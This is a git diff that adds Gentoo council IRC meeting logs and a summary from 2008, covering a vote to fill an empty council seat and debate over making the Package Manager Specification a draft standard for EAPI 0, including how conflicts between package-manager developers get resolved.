+20:33 <Betelgeuse@> fmccor: The retirement process is done for those people as far as I am concerned.
+20:34 < dberkholz@> ok, the main thing we came up with last meeting on PMS is figuring out how to handle conflict resolution
+20:34 <Betelgeuse@> I vote that we start voting on issues one by one.
+20:34 <   lu_zero@> ?
+20:34 < dberkholz@> i tossed some ideas into the agenda
+20:35 <Betelgeuse@> Bugzilla should work as a platform.
+20:35 < dberkholz@> Betelgeuse: "we" being council?
+20:35 <   ciaranm > i didn't see the promised "we'll mail the list with opinions" emails for this. where should i have been looking?
+20:35 <Betelgeuse@> dberkholz: yes
+20:35 <    Cardoe+> I had suggested (but not mentioned on the ML yet) that a 3rd party is appointed by the council to be the "merge master" to merge in changes to the PMS. When a conflict arises, the merge master will attempt to work with the parties involved and the issue resolved. If no resolution can be easily reached, the issue is referred to the council who will direct the merge master which way to go.
+20:35 < dberkholz@> ciaranm: yeah, that was full of fail.
+20:35 <   ciaranm > heh, fairy nuff
+20:36 < dberkholz@> i threw the idea i just thought of into the agenda
+20:36 < dberkholz@> which is asking PMS & portage devs to come up with a process for conflict resolution that they both agree to follow
+20:36 <   Halcy0n@> I think I hit all of the topics except this on the mailing list because I wanted to put some thought into it.  I have some ideas that I need to write up and I want to see discussed though.
+20:37 < dberkholz@> seems like everyone might be happier going along with a process you came up with yourselves
+20:37 <Betelgeuse@> dberkholz: but is that likely to happen?
+20:37 <   ciaranm > part of the problem with conflict resolution is what to do when portage makes non-EAPIed changes that break lots of existing packages
+20:37 < dberkholz@> and i tried to put some ideas out there for what that process might be
+20:37 < dberkholz@> but i think agreement has to begin with the involved people
+20:37 <       spb > ciaranm: you file a bug, and it gets marked WONTFIX
+20:37 <musikc|lap > ciaranm, wouldnt that not be part of the problem but the main reason being when any PM does that?
+20:37 <   lu_zero@> ciaranm do you have a list?
+20:38 < dberkholz@> we were talking about the list last meeting and wasted a lot of time on details that aren't relevant to us
+20:38 <   ciaranm > musikc|laptop: you could argue that, yes
+20:38 <   ciaranm > lu_zero: er, phase order changes and --jobs are the canonical examples
+20:38 <       spb > lu_zero: --jobs and phase ordering changes will do to start with
+20:38 <musikc|lap > ciaranm, just seems to be the basis for a need for a conf res
+20:38 <   lu_zero@> a list of ebuilds
+20:38 <   lu_zero@> anyway unrelated to the current topic
+20:39 < dberkholz@> ciaranm & spb: while you're here, do you have any good ideas for the resolution process?
+20:39 <Betelgeuse@> lu_zero: It's not totally unrelated.
+20:39 <   ciaranm > dberkholz: i've yet to get anything out of zac that isn't "i'll do whatever i want with portage, even if it breaks existing ebuilds and even if it goes completely against the gentoo documentation"
+20:39 <dleverton_ > lu_zero: no-one can know which ebuilds are broken without carefully examining the entire tree.
+20:40 <       spb > dberkholz: the most obvious is if some person can be found with enough knowledge of the problems in question to act as a sensible arbitrator
+20:40 <   ciaranm > dberkholz: really, "throw anything we can't agree upon to the council" would be fine, if i get assurances that the council will override zac if he does something stupid, and that the council will step in if zac decides to ignore PMS anyway on something the council's decided upon
+20:40 <Betelgeuse@> ciaranm: I am willing to do that.
+20:40 <       spb > unfortunately most such people that i can think of are already working on pms, so the next option is just to refer disputes to the council
+20:41 < dberkholz@> ok, basically the first two mentioned in the agenda
+20:41 <   ciaranm > the problem with resolving conflicts is that anything we do currently that isn't "whatever zac says, even if it means breaking lots of existing packages" gets turned into "pms has to document what portage does, for some random version of portage that most people aren't using"
+20:41 <   ciaranm > which i don't see as being a sensible way of getting things done
+20:41 <       spb > even when that contradicts the version of portage that people are using
+20:42 <musikc|lap > dberkholz, it seems that the suggestion of neutral third party for PMS sounds sane since ciaranm continually points out his concerns with working with zac
+20:42 < dberkholz@> yes, we clearly need zac, genone, and anyone else to buy into whatever the process is
+20:42 <   ciaranm > do we even need a neutral third party? the volume of things where there are conflicts is probably low enough not to overload the council
+20:42 <Betelgeuse@> musikc|laptop: I don't really see how a gentoo dev would be totally neutral.
+20:42 <   ciaranm > it'll give you a technical topic to discuss every other month or so if nothing else :P
+20:42 <     ferdy > musikc|laptop: how does a 'neutral' (who decides upon neutrality?) person help there?
+20:43 <   ciaranm > also, if we had a neutral person to spare, their time could be better spent contributing content
+20:43 < dberkholz@> i agree, actually. i think the council is a pretty reasonable group to do this
+20:43 <   lu_zero@> looks like at least some like the idea to have the council handle conflicts
+20:44 <musikc|lap > what about having non PM's work on the PMS doc so it reflects the opinions of the community?
+20:44 <   ciaranm > make that "have the council handle conflicts if the pms editors can't sort it out"
+20:44 <   lu_zero@> zmedico and ferringb is that ok for you as well?
+20:44 <   ciaranm > musikc|laptop: there shouldn't be opinion in pms
+20:44 <   zmedico > lu_zero: seems fair enough to me
+20:44 <musikc|lap > ciaranm, a standard is a collection of opinions put to 'law' as it were
+20:44 <   ciaranm > musikc|laptop: and we've never rejected a patch (except "resend with this fixed", which has always happened) from non PM people
+20:44 <       spb > musikc|laptop: frankly, the opinion of the community is irrelevant to a purely technical document
+20:44 <musikc|lap > spb, depends on who the community is imo
+20:45 <       spb > it documents existing behaviour
+20:45 <       spb > there's no room for opinion in that
+20:45 <   ciaranm > the problem with asking the community is that people say what they think *should* happen, which isn't what pms is dealing with
+20:45 <musikc|lap > spb, if it documents existing behavior then existing behavior of which PM?
+20:45 <   ciaranm > pms has to deal with what *does* happen wherever possible
+20:45 <  ferringb > lu_zero: what, punting up to council?
+20:45 < dberkholz@> ferringb: yeah
+20:46 <   ciaranm > what *should* happen is "future EAPI" territory
+20:46 <       spb > musikc|laptop: the best compromise that can be made between all vaguely recent portage versions and the tree
+20:46 <  ferringb > dberkholz: not sure you'll like the volume, going by past disagreements tbh.  things may've changed (these days I stay out of orbit) however.
+20:46 < dberkholz@> zmedico, ferringb, ciaranm, spb: so you'll all agree to follow council decisions on conflicts you aren't able to resolve otherwise?
+20:46 <       spb > where vaguely recent means "is likely to be in use by someone somewhere, or was stable some time in the last six months to a year"
+20:46 <   zmedico > dberkholz: I agree
+20:47 <  ferringb > dberkholz: either way, game to attempt something different- what's in place doesn't particularly work imo
+20:47 <   lu_zero@> ferringb do you have alternative proposals?
+20:47 <   ciaranm > dberkholz: so long as the council's prepared to follow through with its resolutions
+20:47 <   ciaranm > ferringb: please provide a list of patches of yours that we've rejected
+20:48 <musikc|lap > ciaranm, or could you provide a list of packages you accepted? might be just as easy :)
+20:48 <musikc|lap > s/packages/patches
+20:49 <       spb > that's only meaningful when compared to the list of patches that were submitted
+20:49 <Betelgeuse@> musikc|laptop: I can say for myself that I havent' had problems getting my patches in.
+20:49 <  ferringb > ciaranm: past discussions
+20:49 <   ciaranm > musikc|laptop: we've accepted (sometimes after asking for revisions) every patch that's been sent
+20:49 <  ferringb > ciaranm: not much point in pushing a patch up if it's already estabilished it has zero chance of getting in w/ folk in control.
+20:49 <musikc|lap > ciaranm, just saying either party could validate
+20:49 < dberkholz@> ok
+20:49 <   ciaranm > musikc|laptop: well, i've rejected exactly zero of ferringb's contributions so far
+20:49 <  ferringb > either way, council as arbitrator flies.
+20:50  * ferringb sighs; now we're getting into word play re: definition of 'contributions'
+20:50 <   lu_zero@> looks like this topic could be voted on
+20:50 <     jokey@> better do not do it here and now
+20:50 <     jokey@> lu_zero++
+20:50 < dberkholz@> ok, we've gotten people from all the groups to buy in
+20:51 < dberkholz@> it's definitely worth trying something new, and if this doesn't work, we can try to make the whole neutral person thing work
+20:51 < dberkholz@> i'm for it
+20:51 <dertobi123@> let's give it a try and see if that process works
+20:51 <dertobi123@> so yes
+20:52 <   lu_zero@> anybody against?
+20:52 <musikc|lap > so council will vote on any conflicts that arise from the PMS not being followed?
+20:52 <    Cardoe+> might as well just do a formal yes so no one says someone was asleep at the wheel.
+20:52 <   ciaranm > does this also mean we're taking pms as being definitive except where there're disagreements? which was the original question, really
+20:53  * ferringb notes management of pms vs it being definitive are two seperate questions
+20:53 <jmbsvicett > If that's the case, then perhaps it would be a good idea to have people mail their disagreements so they can be worked out
+20:53 < dberkholz@> you're right, that was the original question
+20:54 <musikc|lap > ferringb, yes that makes sense to me as well
+20:54 <    Cardoe+> ciaranm: I'd say yes
+20:54 <   lu_zero@> but isn't what's on topic...
+20:54 <       spb > ferringb: and when the original question was put to the council last time around, the answer that i can recall was that what still needed sorting out was a conflict resolution method
+20:54 <musikc|lap > we're well past the 15 minutes, will council be voting on the conf res process or should that wait 2 weeks?
+20:54 <   lu_zero@> could we just close one and move to the other ^^?
+20:54 <Betelgeuse@> Cardoe: yes
+20:54 < dberkholz@> ok. conflict resolution is handled
+20:55 -!- dberkholz changed the topic of #gentoo-council to: PMS as a draft standard of EAPI 0: Other issues?
+20:55 <musikc|lap > dberkholz, not to be confused with management of PMS as ferringb pointed out?
+20:55 < dberkholz@> we have about 5 minutes, so just bring up anything that's holding it back and we won't try to discuss it now
+20:56 <musikc|lap > i dont think anyone agrees, or if so i apologize for forgetting, that it is good to have a package manager standard. just how that is managed seems to be in disagreement.
+20:56 <  ferringb > musikc|laptop: think you screwed up your phrasing there
+20:56 <   zmedico > s/agrees/disagrees/
+20:56 <musikc|lap > hahah
+20:56 <musikc|lap > yes and yes
+20:57 < dberkholz@> so ferringb & zmedico think having a standard is worthwhile. that's accurate, yes?
+20:57 <  ferringb > dberkholz: I'd add a few adjectives in there, but yes
+20:57 < dberkholz@> and by standard i mean a written spec
+20:57 <   zmedico > yes, it's useful
+20:58 < dberkholz@> since we've had some vague discussions in the past about that, so i'm glad all the relevant people are on the same page
+20:58 <   lu_zero@> still I have concern of the form of the spec
+20:58 <   ciaranm > lu_zero: specifics please?
+20:58 <   lu_zero@> ciaranm in short?
+20:58 <   ciaranm > lu_zero: something concrete so i can say either "yes, we can improve that" or explain why i think it's correct the way it is
+20:58 <   lu_zero@> an article/scientific paper isn't a spec, an rfc comes closer
+20:59 <   Halcy0n@> We are about to hit 5pm, and I have a meeting right now (at work), so I must run.
+20:59 <   ciaranm > the reason we're not writing it to rfc standards is that we don't have the manpower to produce a loophole-free spec
+20:59 <   ciaranm > i'd take patches to rephrase individual sections to be more watertight if people think they can do it
+20:59 <musikc|lap > dberkholz, meeting officially wraps up on the hour, correct?
+21:00 < dberkholz@> zmedico, ferringb: i'd really love to see emails from you and any other PM developers describing what you think about PMS being a draft standard of EAPI 0.
+21:00 <   ciaranm > but producing a spec that can't be deliberately misinterpreted would take a hell of a lot longer than producing one that assumes a sensible and cooperative reader
+21:00 <       spb > and there's little point making it utterly free from loopholes when there's a well defined process for handling disagreements
+21:00 <   lu_zero@> ciaranm I recall I asked abnf sections
+21:00 < dberkholz@> we need to wrap up now
+21:00 <   ciaranm > lu_zero: abnf ends up being less readable than the written form
+21:00 <NeddySeago > ciaranm there is no such thing as a loophole-free spec, someone sometime will always find a meaning that was not intended
+21:00 <   lu_zero@> but is machine parsable
+21:01 <   lu_zero@> and it's quite easy get a checker out of it
+21:01 < dberkholz@> zmedico, ferringb: there's already the existing thread on gentoo-dev for the last council meeting, so you can just reply there
+21:01 <   ciaranm > NeddySeagoon: 'loophole-free' is what ISO aims for
+21:01 <       spb > NeddySeagoon: which is precisely why we're not trying to write one
+21:01 <NeddySeago > ciaranm Yep ... its a good aim
+21:01 <   ciaranm > lu_zero: the problem is, a grammar for specs ends up being very very horrid
+21:01  * musikc|l also has a RL meeting now
+21:01 <   lu_zero@> ciaranm rfc2234 isn't _THAT_ ugly
+21:01 <musikc|lap > verifying this one is done?
+21:01 <    Cardoe+> now we're arguing semantics
+21:02 < dberkholz@> it's past 2100, so the meeting is over. everyone with a stake in the spec really needs to email -dev about any issues with it becoming a draft standard
+21:02 <  ferringb > dberkholz: presume 2 week window or so?
+21:02 <   ciaranm > lu_zero: try, say, iso c++ draft n2723 section 14.7 if you want an example of just how bad formal specs get
+21:02 < dberkholz@> we'll resume at the next meeting and approve it unless there are objections between now and then
+21:02 <jmbsvicett > If there's an agreement about EAPI-2 in the mls prior to the next council meeting, will you be willing to vote on it?
+21:02 < dberkholz@> that'll be ... sept 11
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080911-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080911-summary.txt
new file mode 100644
index 00000000..849b0c77
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080911-summary.txt
@@ -0,0 +1,54 @@
+Roll call
+=========
+betelgeuse here [calchan]
+dberkholz  here
+dertobi123 here
+halcy0n    here
+jokey      slacker
+lu_zero    slacker
+
+
+First
+=====
+
+Filling the empty slot
+----------------------
+Last time there was an empty slot, we voted on whether to fill the slot 
+with the next person from the original rankings. Let's do the same this 
+time. It's Cardoe.
+
+Goal: Vote whether to approve Cardoe for the empty council slot.
+
+Result: Cardoe is a new council member.
+
+
+Old topics
+==========
+
+PMS as a draft standard of EAPI 0
+---------------------------------
+Next meeting is Sept 11, and we request that everyone involved with PM 
+development or the spec email gentoo-dev about any issues with it. 
+Otherwise, it's likely to be approved as a draft standard.
+
+Goal: Vote whether to approve PMS as a draft standard of EAPI 0.
+
+Requirements:
+
+  - There needs to be a PMS lead who is a Gentoo dev [calchan].
+    Both cardoe & antarus volunteered if this was needed.
+  - Document the conflict resolution process that we agreed upon last 
+    week [calchan].
+  - Document the patch acceptance process [halcy0n].
+  - Create a public mailing list so discussions & patches aren't lost on 
+    the pms-bugs alias [cardoe].
+
+Result: PMS is a draft standard of EAPI 0, with acceptance conditional 
+upon resolution of the above 4 requirements. They should be resolved 
+within 2 weeks.
+
+
+New topics
+==========
+
+None.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080911.txt b/xml/htdocs/proj/en/council/meeting-logs/20080911.txt
new file mode 100644
index 00000000..8885430c
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080911.txt
@@ -0,0 +1,317 @@
+20:00 <   Halcy0n@> Alright, so roll-call...who is here?
+20:01 -!- mode/#gentoo-council [+v Cardoe] by Halcy0n
+20:01 <dertobi123@> <-
+20:02  *  Calchan is proxying for Betelgeuse 
+20:02 -!- mode/#gentoo-council [+v Calchan] by Halcy0n
+20:02 <   Halcy0n@> Yup, saw the email earlier as well.  Thanks
+20:02 <dberkholz|@> here
+20:03 <   Halcy0n@> jokey or cardoe?
+20:04 <    Cardoe+> sorry
+20:04 <    Cardoe+> Halcy0n: technically I'm not on the roll call yet since Diego resigned so I'm not officially taking his position
+20:05 <    Cardoe+> Halcy0n: and you guys have to vote for the next person on the ballot to take his place
+20:05 <   Halcy0n@> Cardoe: true, but its good you are here anyhow since that's the first discussion point.
+20:05 <dertobi123@> i tried to call jokey on his cellÃphone, no success :/
+20:05 <   Halcy0n@> Well, is everyone that is here ready to start then?  jokey and lu_zero seem to be MIA.
+20:07 -!- Halcy0n changed the topic of #gentoo-council to: Next meeting: 2000 UTC Sept. 11 - Agenda: http://archives.gentoo.org/gentoo-dev/msg_619e8ac19efadb77a5c24add7a7b529b.xml - #1 Filling the empty slot
+20:07 <    Cardoe+> oo Halcy0n has the shiny gavel today
+20:07 <   Halcy0n@> Cardoe: well, since it looks like dberkholz|bb is on his blackberry, I figured it would be easier if I took the lead :P
+20:09 <   Halcy0n@> So, last time the council voted in the next person in line when a council member retired.  Is everyone that is present ready to vote on whether or not to follow what was done last time?  This would mean Cardoe would become our 7th council member in Diego's place.
+20:09 <dberkholz|@> we only need 4 to vote
+20:10 <    Cardoe+> as a reference point, http://article.gmane.org/gmane.linux.gentoo.devel.announce/243 are the results from the election officials
+20:10 <dberkholz|@> I'm ready
+20:10 <dertobi123@> <- ready to vote
+20:10 <   Calchan+> ready too
+20:11 <dberkholz|@> mark?
+20:11 <   Halcy0n@> Yup.  It has a yes from me.
+20:11 <dberkholz|@> Same here -- yes
+20:11 <   Calchan+> yes from me too
+20:11 <dertobi123@> yes here, too
+20:12 <   Halcy0n@> Congrats Cardoe :)
+20:12 <dberkholz|@> cardoe: welcome to the caba... er, council!
+20:12 <    Cardoe+> heh thank you
+20:12 <   Calchan+> Cardoe, all other choices were worse ;o)
+20:13 <    Cardoe+> Calchan: hah. Sounds like a Futurama quote
+20:13 <dberkholz|@> remember to get the mail alias updated
+20:13 <   Calchan+> is this effective now ?
+20:13 <dberkholz|@> yep
+20:13 <   Calchan+> ok
+20:13 -!- Halcy0n changed the topic of #gentoo-council to: Next meeting: 2000 UTC Sept. 11 - Agenda: http://archives.gentoo.org/gentoo-dev/msg_619e8ac19efadb77a5c24add7a7b529b.xml - #2 PMS as a draft standard of EAPI 0
+20:14 <dberkholz|@> since we got conflict resolution figured out, I haven't heard any other blockers
+20:15 <   Halcy0n@> I haven't seen any issues raise, so I'm assuming the PM developers are fine with it.
+20:15 <   Calchan+> dberkholz|bb, do we have gentoo dev in charge ?
+20:16 <dberkholz|@> does it matter, if we have a way to resolve conflicts with portage, and the council has to approve it?
+20:16 <    Cardoe+> Calchan: not exactly. It's technically a sub-project of QA, which is Halcy0n's dept.
+20:16 <    Cardoe+> Calchan: however, it's something that's being driven by the developers of the Package Managers with a conflict resolution policy in place
+20:17 <    Cardoe+> which is they try to work it out among themselves, there are 3 after all so that's a pretty easy way to get a majority vote
+20:17 <   Calchan+> I haven't seen the mail on the conflict resolution thing
+20:17 <    Cardoe+> and if it doesn't work, it gets kicked up to the council
+20:17 <   ciaranm > a majority isn't enough. we're not microsoft...
+20:18 <   Calchan+> who are the 3 ?
+20:18 <    Cardoe+> Calchan: Portage, Paludis, and pkgcore
+20:18 <   ciaranm > zac for portage, ferringb for pkgcore, about ten of us for paludis
+20:18 <   Calchan+> oh, I thought you were talking about persons
+20:19 <   Calchan+> and who's doing the conflict resolution ? (anybody got a pointer to the mail ?)
+20:20 <   ciaranm > Calchan: the pms editors, if possible, and the council if we can't get everyone to agree
+20:20 <   Calchan+> ciaranm, thanks, and who are the pms editors ?
+20:20 <   Halcy0n@> This still seems like somewhat of a undocumented process to me.  I'd really like there to be some structure to something as important as this.
+20:20 <    musikc > so PMS is maintained by zmedico, ferringb, and ciaranm? i thought it was just ciaranm and spb?
+20:20 <   Calchan+> Halcy0n, this is where I was getting at
+20:20 <   ciaranm > Calchan: me and spb are editors at the moment
+20:20 <   Calchan+> musikc, this was my impression too
+20:20 <    Cardoe+> Halcy0n: I was going to suggest a patch to the pms.xml
+20:21 <    musikc > ciaranm, shouldnt all of you be editors?
+20:21 <   ciaranm > musikc: anyone who sends lots of good patches can be an editor if they want
+20:21 <    musikc > since it's a collaboration and not led by any one PM?
+20:21 <   antarus > musikc: no one else has asked...
+20:21 <       spb > pms is just like any other open source project
+20:21 <   Calchan+> ciaranm, please define "lots of good patches" and who will decide
+20:21 <       spb > it's developed by those who develop it
+20:21 <    musikc > so zmedico and ferringb have access to edit it as well then?
+20:22 <jmbsvicett > antarus: Are you sure they were willing or they had reasons to expect becoming editors?
+20:22 <    musikc > they should have the same access to edit the doc since its a group effort
+20:22 <   ciaranm > Calchan: i'll define that when someone asks
+20:22 <   ciaranm > musikc: they can send patches, same as everyone else
+20:22 <    musikc > why patches?
+20:22 <    musikc > why cant they edit it?
+20:22 <    musikc > who gets to decide what goes in and what doesnt?
+20:22 <  ColdWind > musikc: if they haven't sent patches, why would they need access?
+20:22 <   ciaranm > because nothing gets committed to pms without peer review
+20:22 <    musikc > who gets to say what a good patch is?
+20:22 <   zmedico > honestly I'm perfectly happy leaving others to edit PMS. I've got other things to work on.
+20:23 <   Calchan+> ciaranm, you'll define ? sorry, unacceptable
+20:23 <   ciaranm > musikc: anyone who wants to can review patches and raise objections
+20:23 <    musikc > ciaranm, ok that makes sense. who are the peers?
+20:23 <   ciaranm > musikc: anyone who wants to do reviewing can do so
+20:23 <       spb > anyone who's watching the pms-bugs alias
+20:23 <   antarus > I should correct that
+20:23 <   antarus > 'anyone knowledgeable who wants to do reviewing' ;p
+20:23 <       spb > since any changes go there for people to complain before they're committed
+20:23 < dberkholz@> ok, i'm on my laptop now
+20:23 <    musikc > ciaranm, so only you and spb have commit access and final say unless someone wants to escalate to council?
+20:23 <   ciaranm > Calchan: why? it's not an issue yet, and if it ever becomes one we can raise it to the council if necessary
+20:24 <   ciaranm > musikc: for now, yes, since no-one else has asked
+20:24 <   Calchan+> Halcy0n, we obviously need a gentoo dev in charge here, and if that's not you we need somebody to volunteer
+20:24 <Philantrop > musikc: The same discussion was held during the last meeting and that's how the escalation process got created.
+20:24 <   antarus > Calchan: why is it obvious?
+20:24 <dleverton_ > "Obviously"?
+20:24 <       spb > musikc: ultimately, the council has final say since any disagreements can get escalated there
+20:24 <   ciaranm > Calchan: what's wrong with the current process? specific examples of where it's gone wrong please.
+20:24 <    musikc > Philantrop, i thought the escalation process was for any conflicts. i recall ciaranm stating what if PM's didnt follow PMS, hence the need for resolution process
+20:25 < dberkholz@> it seems clear to me that as a QA subproject, Halcy0n would have the final say on who could commit to it, although if there happens to be a specific pms lead, or consensus by the existing pms team, that would also be fine
+20:25 <   ciaranm > musikc: you mean the resolution process being "if we can't work it out then we send it to the council", which is what's being discussed?
+20:25 <   Calchan+> ciaranm, if it's a gentoo project it needs a gentoo dev as lead, if it's an external project I don't know why we're discussing it
+20:25 <   ciaranm > Calchan: uh, since when?
+20:26 <  ColdWind > Calchan: what does that gentoo dev need to do?
+20:26 <    musikc > dberkholz, ya, it'd make sense if there was a lead or representation from all PM's
+20:26 <       spb > there's representation from anyone who sees bugs and writes patches
+20:26 <   ciaranm > *if* anyone ever has a problem that can't be resolved, they can just ask the council to discuss it. what's the problem?
+20:26 <   Halcy0n@> dberkholz: to me, this seems to still be a hot topic that clearly isn't getting the discussion it deserves on the mailing lists.  I'd recommend the council members bringing up their concerns so its all documented somewhere.
+20:27 <   antarus > this is all irrelevant to the actual question
+20:27 <   antarus > which was is PMS the draft spec for EAPI 0
+20:27 <   antarus > yes/no?
+20:27 <Philantrop > antarus++
+20:27 <    Cardoe+> I'm actually working on a revised pms page for the QA sub-project
+20:27 <   antarus > I don't think 'who can commit to PMS' has anything to do with that
+20:27 <    musikc > Halcy0n, makes sense to me
+20:27 <   Calchan+> Halcy0n, makes sense to me too
+20:28 <      lack > antarus: 'PMS' as in a snapshot of what the repository is now, or 'PMS' as in the entire future of the repository's contents?
+20:28 <   antarus > you can discuss all teh beauracratic bullshit later ;p
+20:28 <   ciaranm > wasn't this "sent to the mailing lists" last month?
+20:28 <   ciaranm > why weren't objections raised then?
+20:28 <jmbsvicett > antarus: Last time there were 2 or 3 issues on the draft that were raised as not being accepted by all parties
+20:28 < dberkholz@> that's a good question.
+20:28 <    musikc > ciaranm, that was 2 weeks ago, perhaps peoples obligations delayed responses?
+20:28 <jmbsvicett > antarus: There was also a request to present all such issues to the mls - I didn't notice any mails about them
+20:28 <   ciaranm > musikc: for two weeks?
+20:28 <    musikc > seems to spark questions again, whats the problem with suggesting it goes to the mailing list
+20:29 <Philantrop > jmbsvicetto: Which seems to imply that these issues were resolved.
+20:29 <    musikc > ciaranm, sure. i myself was on vacation and in the middle of a lot of project work. just one person's example.
+20:29 <   ciaranm > musikc: i was hoping for a decision three months ago...
+20:29 <    Cardoe+> musikc: You seem to have some objections. Please send them to the list.
+20:29 <   antarus > Philantrop: no it implies no one talked about them ;)
+20:29 <Philantrop > antarus: Actually, I know they were talked about. :-)
+20:29 <   antarus > if it goes back to the lists you should set a deadline
+20:29 <    musikc > Cardoe, not so much objections as thoughts and interest in wht other people think
+20:29 <  ColdWind > the same problem is going on since way before the last meeting iirc, and it never gets discussed on the ML
+20:29 <    musikc > antarus, that makes complete sense also
+20:29 <   antarus > such that issusea are actively being resolved before the deadline
+20:29 <   antarus > otherwise we will discuss this forever
+20:30 <  ColdWind > it seems you've entered a deadlock
+20:30 < dberkholz@> at least having a council meeting every 2 weeks forces people to bring it up that often.
+20:30 <   ciaranm > every two weeks people ask the same questions that were asked four weeks ago
+20:30 <   antarus > so we are not ready to vote because there were issues from last meeting that were not resolved?
+20:30 <   antarus > you have 2 weeks to fix them
+20:30 <   antarus > lets move on ;p
+20:30 < dberkholz@> i'm trying to put together a list of things people say are blockers
+20:30 < dberkholz@> could whoever had one please say it again, directed at me?
+20:31 <    musikc > blockers?
+20:31 < dberkholz@> we don't want to delay this without specific things that need to be resolved before approving it
+20:31 <   Calchan+> dberkholz, lead, doc on structure and processes
+20:31 <Philantrop > dberkholz: Please consider the topic and the iussues that were raised here today.
+20:31 < dberkholz@> otherwise it goes into the nebulous nowhere
+20:31 <    musikc > ahhhh, agree with Calchan
+20:31 <   Calchan+> dberkholz, was the conflict resolution discussed on council@ ?
+20:31 <   Halcy0n@> dberkholz: what calchan said.  I'd like to see a process since it seems people aren't clear on it.
+20:31 <   antarus > I will volunteer as lead if you need for one some reason
+20:32  *  antarus shrugs
+20:32 < dberkholz@> Halcy0n: a process for what?
+20:32  *   musikc votes Halcy0n for lead :)
+20:32 <    musikc > HEHE
+20:32 <   ciaranm > antarus: i've already got a volunteer gentoo developer to be an arbitrary and pointless figurehead if anyone needs one
+20:32 <   antarus > ciaranm: ok :)
+20:32 <   Calchan+> dberkholz, I was talking about conflict resolution, I haven't seen anything
+20:32 < dberkholz@> Calchan: it was agreed upon at the last meeting. first PM devs & PMS editors try to resolve, and they request council to resolve by vote if they cannot
+20:32 <   ciaranm > Calchan: did you see what was discussed at the last meeting?
+20:32 <jmbsvicett > dberkholz / Halcy0n: People should also raise any objection to the current content of the PMS draft, before it gets approved
+20:33 <   ciaranm > jmbsvicetto: did you see what the question was?
+20:33 <    Cardoe+> ciaranm: me? or someone else. Cause I volunteered a few weeks back if that would ease the approval of this.
+20:33 <    musikc > jmbsvicetto, good point. has that been raised by anyone yet?
+20:33 <   ciaranm > Cardoe: oh, you're number three then :P
+20:33 <   ciaranm > musikc: why is it a good point? include references to the question in your answer
+20:33 <jmbsvicett > ciaranm: I did. That's why I'm saying anyone with any objection has a last chance to present it before the doc gets approved - "speak now, ..."
+20:33 <   Calchan+> dberkholz, then who are the pms editors ? where is this documented ?
+20:33 <   ciaranm > jmbsvicetto: er, why is there a last chance?
+20:33 <    Cardoe+> Does anyone have any objections to the current content of the PMS?
+20:33 <    musikc > ciaranm, what was my question? i think you confised me with someone else
+20:34 <   ciaranm > jmbsvicetto: clearly you *didn't* read the question
+20:34 <   ciaranm > musikc: you agreeing with jmbsvicetto. i want to know why you're doing that.
+20:34 <   ciaranm > especially given how spb specifically covered it being ok to find issues with the EAPI 0 definition even after the level of approval being requested
+20:35 <    musikc > b/c i agree with him saying that people should raise any objections to the current content before it gets approved. sounds reasonable to me. :)
+20:35 <   Calchan+> Cardoe, I have no problem with the content
+20:35 <   ciaranm > except that we're not asking for and never will ask for "this will never change" approval
+20:35 <jmbsvicett > ciaranm: Let me be clear. dberkholz is trying to collect issues about PMS and its approval. I'm suggesting that in the next 2 weeks anyone having the slightest objection to the current content of the draft should sent it to the ml and have it discussed before the doc is approved - otherwise, they'll have to live with the doc. This is all I'm saying
+20:35 <    musikc > ciaranm, i understand the concept of 'fluid' documents, thanks though
+20:35 <   ciaranm > musikc: then why are you agreeing with jmbsvicetto over "last chance"?
+20:35 <Philantrop > jmbsvicetto: That has been the case for *months* now and nothing was brought up.
+20:36 <   ciaranm > jmbsvicetto: how does that differ from the last three times that's been said?
+20:36 <   Halcy0n@> Lets get back on topic here.  The underlying question is should we approve PMS as a draft for EAPI 0 only.  We seem to have some other major concerns, and we should leave it open for us to amend this decision later.
+20:36 <    musikc > ciaranm, b/c if someone has an objection currently, wouldnt it make sense that they bring it up? why wait. seems silly if they already know they have an objection.
+20:36 < dberkholz@> ok, i have 2 issues as blockers right now
+20:36 <    musikc > Halcy0n ++
+20:36 <Philantrop > Halcy0n: The concerns are about process, not the contents, though.
+20:36 < dberkholz@> one is a PMS lead who is a gentoo dev, and the other is documenting conflict resolution
+20:36 <jmbsvicett > Philantrop: true, but it seems no one has ever felt it as a "deadline"
+20:37 <   antarus > Philantrop: processes are important
+20:37 <   ciaranm > every time we do this a different group of people jumps up and asks the same questions that were asked at the previous meeting, and then it's always postponed to the next meeting for the same questions to be asked over again
+20:37 <   antarus > (certainly I'm with you that this should have been approved months ago)
+20:37 <Philantrop > antarus: Yes, if they don't work.
+20:37 <    musikc > dberkholz, i dont see the process for approval of patches, etc documented. that'd probably be worthwhile as well
+20:37 <   antarus > that doesn't mean we shouldn't attempt to document how things work now ;p
+20:37 <   Halcy0n@> Can we stay on topic please?  I have other things I need to run to after this.
+20:38 <  ColdWind > So, on one hand, people is not discussing problems with the contents even when that's what's council requested for months. On the other hand, people can still bring up those concerns after PMS approval as a draft standard... that's why it's a draft. Is there any reason to block the approval of the draft forever?
+20:38 <    musikc > ColdWind, forever? of course not. postponed while ppl still work to understand the process? sure.
+20:38 <   Halcy0n@> Calchan, Cardoe, dberkholz|bb : Are you guys comfortable with the statement I made above?  Lets vote on whether or not to approve PMS as a draft for EAPI 0 only, and leave it open for us to amend the decision later should we find the need to.
+20:38 <   antarus > ColdWind: thats what the two week deadline is for ;)
+20:38 <    Cardoe+> Halcy0n: yes
+20:39 < dberkholz@> do any council members think that documenting a process for patch acceptance is a requirement?
+20:39 <   Halcy0n@> dertobi123: ^  that was directed to you as well
+20:39 <  ColdWind > musikc: there will be *always* someone who still doesn't understands the process, so yes, with this dynamic... this is effectively blocked forever.
+20:40 <    musikc > ColdWind, agreed so documentation helps :)
+20:40 <   Halcy0n@> dberkholz: I don't see it as a blocker for approving it as an initial draft right now, but I want it documented.
+20:40 <    Cardoe+> alright. everyone let's take a breather for a second. Let's us wrap up the actual question at hand. Further concerns can be approached on list.
+20:40 <dertobi123@> Halcy0n: yep
+20:40 <Calchan|Ho > sorry, apparently my irc proxy went down
+20:41 <    musikc > so post poned until documented Halcy0n?
+20:41 <   Calchan+> ColdWind,
+20:41 <    Cardoe+> ciaranm: what's the official ml to bring up discussions about patches? or should it remain on the bug?
